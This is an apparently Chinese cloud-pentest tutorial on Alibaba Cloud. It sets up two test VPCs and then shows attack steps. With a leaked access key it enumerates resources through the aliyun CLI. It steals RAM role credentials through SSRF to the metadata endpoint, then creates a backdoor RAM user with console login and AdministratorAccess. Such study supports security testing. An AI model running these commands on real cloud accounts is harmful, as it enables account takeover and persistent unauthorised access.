VPC环境搭建
1、创建第一个VPC
2、创建一个NAT
创建一个NAT,并在访问模式中选择SNAT,这样,同一个VPC中的所有机器人,都可以通过NAT网关访问公网
随后等待即可
3、创建一个ACL
4、创建第二个VPC
同样把第二个VPC放在可用区H
5、创建第二个NAT
为第二个VPC创建一个NAT,与第一个VPC一样,这里我们选择SNAT
随后等待即可
6、创建第二个网络ACL
现在有两个VPC,我们来整体看一下目前的情况
VPC
- 子网192.168.0.0/16
- 公网NAT 101.201.123.203
- 交换机 vsw-2zefutsi7rnb0qai09b2y
- 路由 vtb-2zeo25fbiv7v3zcdjbjys
- ACL vpc-2ze4lqiw3cl7y3zvkj55e
VPC2
- 子网192.168.0.0/16
- 公网NAT 59.110.13.178
- 交换机 vsw-2zen9qtw6woqzqbzhhp4y
- 路由 vtb-2ze8owepmc98208dkh1e6
- ACL nacl-2zewc7vl9elzvlj7454v2
VPC可能存在的问题
信息收集(AK泄露)
在使用阿里云cli之前,需要配置好AK
aliyun configure --mode ak
1、VPC
aliyun vpc DescribeVpcs
从这里我们可以看到我们的子网信息,NAT的名称,VPC的所有人
2、Switch
aliyun vpc DescribeVSwitches
使用该命令可以查看所有的路由表,如果想查看指定的路由表,可以通过—help来查看所需要的参数
在获取VPC的信息的时候,我们获取到了所有人的账户ID,这里也可以通过所有人的ID来进行筛选与收集
aliyun vpc DescribeVSwitches --VSwitchOwnerId xxx
3、NAT
aliyun vpc DescribeNatGateways
可以通过该命令收集所有NAT网关信息,通过上面返回的信息,也可以查询SNAT表
4、ACL
aliyun vpc DescribeNetworkAcls
# 详细API文档 https://help.aliyun.com/document_detail/34964.html
通过该命令可以获取所有ACL
5、安全组
aliyun ecs DescribeSecurityGroups
# 使用该命令可以获取目前所有的安全组信息 https://help.aliyun.com/document_detail/25556.html
6 、LB
可以使用该命令收集获取SLB等信息
aliyun slb DescribeLoadBalancers
7、总结
其实AK泄露的利用方法有很多,以下提供两种思路
1、思路一
第一种思路是通过官方文档来进行KEY泄露的利用,首先打开阿里云官网
在这里不要选择直达或者说别的,直接选更多推荐
来到这里之后直接选择帮助文档,注意下面的来自的那个路径,然后进去看API即可
每一种接口名包括参数都会有解释
带上这些接口用阿里云 cli试就完事了
不过上述的这种方法,其实效率极低,等于在爆破了,爆破这个KEY到底有多少的权限,而且我们在纯黑盒的模式下拿到一个KEY,有可能权限很小,但是你花了很长的时间去尝试KEY的权限有多大,这是很麻烦的
2、思路二
其实这种思路就跟写存储桶利用或者检测工具一个原理,调SDK,把危险权限,或者有必要的权限全部请求一遍,然后就能知道结果了
工具的初衷就是帮助人解决繁琐的流程
什么是RAM
不同的云厂商对于RAM的叫法都不太相同,比如,在AWS中,访问控制又称为IAM,在阿里云中,又被称为RAM,在腾讯云中又被称为CAM
云厂商 | 名称 |
---|---|
腾讯云 | CAM |
阿里云 | RAM |
AWS | IAM |
上图取自阿里云: RAM用户概览 (aliyun.com)
那么理解一下,也就是一个管理员权限的阿里云账户,可以生成多个RAM用户,这些RAM可以给不同的权限,没有指定权限的RAM用户无法访问对应的服务
那么常见的场景就是在企业中,运维需要给一个员工分配账号,假设他只需要RDS下的操作权限,那么按照权限最小化的原则,那么就只给他分配使用RDS需要分配的权限,不会超过这个权限范围内
RAM可能存在的问题
1、元数据
其实在ECS中的安全就已经讲到了,如果在ECS中部署的程序存在SSRF或者RCE(这里我们来说SSRF,并且假设当前的场景是有回显的SSRF,那么我们通过http://100.100.100.200/latest/meta-data/
这个地址,获取ECS中的元数据,其实这里会存在一个问题,比如我们想读取临时的凭证,用这个凭证登录控制台,或者操作aliyun cli
的话,其实默认配置下是不行的
上面的图片中我们可以看到一个SSRF的靶场,我们获取到的元数据,其实中间并没有一个叫RAM的目录,这上述能读到的东西,都无法让攻击者利用漏洞进行下一步(至少在默认配置下),那么我们来回答上面的问题,为什么ECS在默认配置下是没有RAM的元数据目录
我们在ECS中,必须为当前ECS去手动授予RAM角色,既然涉及到授予角色,必然就会存在权限过大的问题,那么假设管理员给的权限比较大
给了一个AdministratorAccess
权限,那么此时如果造成了SSRF的话,就会出现下面的情况
攻击者通过SSRF请求元数据获取到了ram的AK
那么此时就可以通过阿里云cli命令行工具,来操作该RAM用户拥有权限的资源,例如通过这个登陆控制台
首先获取当前的账号别名
aliyun ram GetAccountAlias
创建RAM用户
aliyun ram CreateUser --UserName xxx
为RAM用户启用Web登陆
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx
为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx
随后就可以登录控制台了
当然,上述情况是理想情况,具体实际的还得看实战中情况而定
2、AK泄露
虽然AK泄露属于大部分的云产品都有这种问题,但是也无法避免,多半都是用户侧配置上的问题
如何调用API可参考:https://help.aliyun.com/document_detail/43766.html ,这里就不一一列举